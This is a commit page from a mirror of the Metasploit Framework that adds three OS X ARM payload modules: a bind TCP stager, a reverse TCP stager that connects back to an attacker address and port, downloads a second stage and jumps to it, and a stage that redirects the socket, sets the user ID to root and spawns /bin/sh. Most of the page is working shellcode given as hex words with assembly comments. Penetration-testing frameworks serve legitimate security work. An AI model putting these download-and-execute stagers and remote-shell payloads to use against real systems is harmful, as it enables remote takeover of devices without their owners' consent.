infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Adding the staged versions of the OS X payloads. One step closer to download + execute 

git-svn-id: file:///home/svn/framework3/trunk@5160 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-10-19 07:53:23 +00:00
parent ddc3b15269
commit ad050b492d
3 changed files with 401 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

168
modules/payloads/stagers/osx/armle/bind_tcp.rb Normal file
View File

@ -0,0 +1,168 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Msf
module Payloads
module Stagers
module Osx
module Armle
###
#
# BindTcp
# -------
#
# OSX bind TCP stager.
#
###
module BindTcp
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Version' => '$Revision$',
'Description' => 'Listen for a connection',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::BindTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 66, 'n' ],
},
'Payload' =>
[
# mmap
0xe3a0c0c5, # mov r12, #0xc5
0xe0200000, # eor r0, r0, r0
0xe3a01902, # mov r1, #0x2, 18
0xe3a02007, # mov r2, #0x7
0xe3a03a01, # mov r3, #0x1, 20
0xe3e04000, # mvn r4, #0x0
0xe0255005, # eor r5, r5, r5
0xef000080, # swi 128
# store mmap address
0xe1a0b000, # mov r11, r0
# socket
0xe3a00002, # mov r0, #0x2
0xe3a01001, # mov r1, #0x1
0xe3a02006, # mov r2, #0x6
0xe3a0c061, # mov r12, #0x61
0xef000080, # swi 128
# store socket
0xe1a0a000, # mov r10, r0
0xeb000001, # bl _bind
# port 4444
0x5c110200,
# host 0.0.0.0
0x00000000,
# bind
0xe1a0000a, # mov r0, r10
0xe1a0100e, # mov r1, lr
0xe3a02010, # mov r2, #0x10
0xe3a0c068, # mov r12, #0x68
0xef000080, # swi 128
# listen
0xe1a0000a, # mov r0, r10
0xe3a01001, # mov r1, #0x1
0xe3a0c06a, # mov r12, #0x6a
0xef000080, # swi 128
# accept
0xe3a0c01e, # mov r12, #0x1e
0xe1a0000a, # mov r0, r10
0xe3a01010, # mov r1, #0x10
0xe50d1018, # str r1, [sp, #-24]
0xe24d2010, # sub r2, sp, #0x10
0xe24d3018, # sub r3, sp, #0x18
0xef000080, # swi 128
# check socket
0xe1a07000, # mov r7, r0
0xe3500000, # cmp r0, #0x0
0xda000016, # ble _exit
# close server
0xe1a0000a, # mov r0, r10
0xe3a0c006, # mov r12, #0x6
0xef000080, # swi 128
# restore socket
0xe1a0a007, # mov r10, r7
# read length
0xe3a0c003, # mov r12, #0x3
0xe1a0000a, # mov r0, r10
0xe1a0100b, # mov r1, r11
0xe3a02004, # mov r2, #0x4
0xef000080, # swi 128
# setup download
0xe49b9000, # ldr r9, [r11], #0
0xe1a0800b, # mov r8, r11
# download stage
0xe3a0c003, # mov r12, #0x3
0xe1a0000a, # mov r0, r10
0xe1a01008, # mov r1, r8
0xe1a02009, # mov r2, r9
0xef000080, # swi 128
0xe3500000, # cmp r0, #0x0
0xba000004, # blt _exit
0xe0888000, # add r8, r8, r0
0xe0499000, # sub r9, r9, r0
0xe3590000, # cmp r9, #0x0
0x1afffff4, # bne _readmore
# jump to stage
0xe28bf000, # add pc, r11, #0x0
# exit process
0xe3a0c001, # mov r12, #0x1
0xef000080 # swi 128
].pack("V*")
}
))
end
def handle_intermediate_stage(conn, payload)
print_status("Transmitting stage length value...(#{payload.length} bytes)")
address_format = 'V'
# Transmit our intermediate stager
conn.put( [ payload.length ].pack(address_format) )
Rex::ThreadSafe.sleep(0.5)
return true
end
end
end end end end end

144
modules/payloads/stagers/osx/armle/reverse_tcp.rb Normal file
View File

@ -0,0 +1,144 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Msf
module Payloads
module Stagers
module Osx
module Armle
###
#
# ReverseTcp
# ----------
#
# OSX reverse TCP stager.
#
###
module ReverseTcp
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Version' => '$Revision$',
'Description' => 'Connect back to the attacker',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 66, 'n' ],
'LHOST' => [ 68, 'ADDR' ],
},
'Payload' =>
[
# mmap
0xe3a0c0c5, # mov r12, #0xc5
0xe0200000, # eor r0, r0, r0
0xe3a01902, # mov r1, #0x2, 18
0xe3a02007, # mov r2, #0x7
0xe3a03a01, # mov r3, #0x1, 20
0xe3e04000, # mvn r4, #0x0
0xe0255005, # eor r5, r5, r5
0xef000080, # swi 128
# store mmap address
0xe1a0b000, # mov r11, r0
# socket
0xe3a00002, # mov r0, #0x2
0xe3a01001, # mov r1, #0x1
0xe3a02006, # mov r2, #0x6
0xe3a0c061, # mov r12, #0x61
0xef000080, # swi 128
# store socket
0xe1a0a000, # mov r10, r0
0xeb000001, # bl _connect
# port 4444
0x5c110200,
# host 192.168.0.135
0x8700a8c0,
# connect
0xe1a0000a, # mov r0, r10
0xe1a0100e, # mov r1, lr
0xe3a02010, # mov r2, #0x10
0xe3a0c062, # mov r12, #0x62
0xef000080, # swi 128
0xe3500000, # cmp r0, #0x0
0x1a000012, # bne _exit
# read length
0xe3a0c003, # mov r12, #0x3
0xe1a0000a, # mov r0, r10
0xe1a0100b, # mov r1, r11
0xe3a02004, # mov r2, #0x4
0xef000080, # swi 128
# setup download
0xe49b9000, # ldr r9, [r11], #0
0xe1a0800b, # mov r8, r11
# download stage
0xe3a0c003, # mov r12, #0x3
0xe1a0000a, # mov r0, r10
0xe1a01008, # mov r1, r8
0xe1a02009, # mov r2, r9
0xef000080, # swi 128
0xe3500000, # cmp r0, #0x0
0xba000004, # blt _exit
0xe0888000, # add r8, r8, r0
0xe0499000, # sub r9, r9, r0
0xe3590000, # cmp r9, #0x0
0x1afffff4, # bne _readmore
# jump to stage
0xe28bf000, # add pc, r11, #0x0
# exit process
0xe3a0c001, # mov r12, #0x1
0xef000080, # swi 128
].pack("V*")
}
))
end
def handle_intermediate_stage(conn, payload)
print_status("Transmitting stage length value...(#{payload.length} bytes)")
address_format = 'V'
# Transmit our intermediate stager
conn.put( [ payload.length ].pack(address_format) )
Rex::ThreadSafe.sleep(0.5)
return true
end
end
end end end end end

89
modules/payloads/stages/osx/armle/shell.rb Normal file
View File

@ -0,0 +1,89 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Stages
module Osx
module Armle
module Shell
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX Command Shell',
'Version' => '$Revision$',
'Description' => 'Spawn a command shell',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_ARMLE,
'Session' => Msf::Sessions::CommandShell,
'Stage' =>
{
'Payload' =>
[
# vfork
0xe3a0c042, # mov r12, #0x42
0xe0200000, # eor r0, r0, r0
0xef000080, # swi 128
0xe3500000, # cmp r0, #0x0
0x0a000017, # beq _exit
# setup dup2
0xe3a05002, # mov r5, #0x2
# dup2
0xe3a0c05a, # mov r12, #0x5a
0xe1a0000a, # mov r0, r10
0xe1a01005, # mov r1, r5
0xef000080, # swi 128
0xe2455001, # sub r5, r5, #0x1
0xe3550000, # cmp r5, #0x0
0xaafffff8, # bge _dup2
# setreuid
0xe3a00000, # mov r0, #0x0
0xe3a01000, # mov r1, #0x0
0xe3a0c07e, # mov r12, #0x7e
0xef000080, # swi 128
# execve
0xe0455005, # sub r5, r5, r5
0xe1a0600d, # mov r6, sp
0xe24dd020, # sub sp, sp, #0x20
0xe28f0014, # add r0, pc, #0x14
0xe4860000, # str r0, [r6], #0
0xe5865004, # str r5, [r6, #4]
0xe1a01006, # mov r1, r6
0xe3a02000, # mov r2, #0x0
0xe3a0c03b, # mov r12, #0x3b
0xef000080, # swi 128
# /bin/sh
0x6e69622f,
0x0068732f,
# exit
0xe3a0c001, # mov r12, #0x1
0xef000080 # swi 128
].pack("V*")
}
))
end
end
end end end end end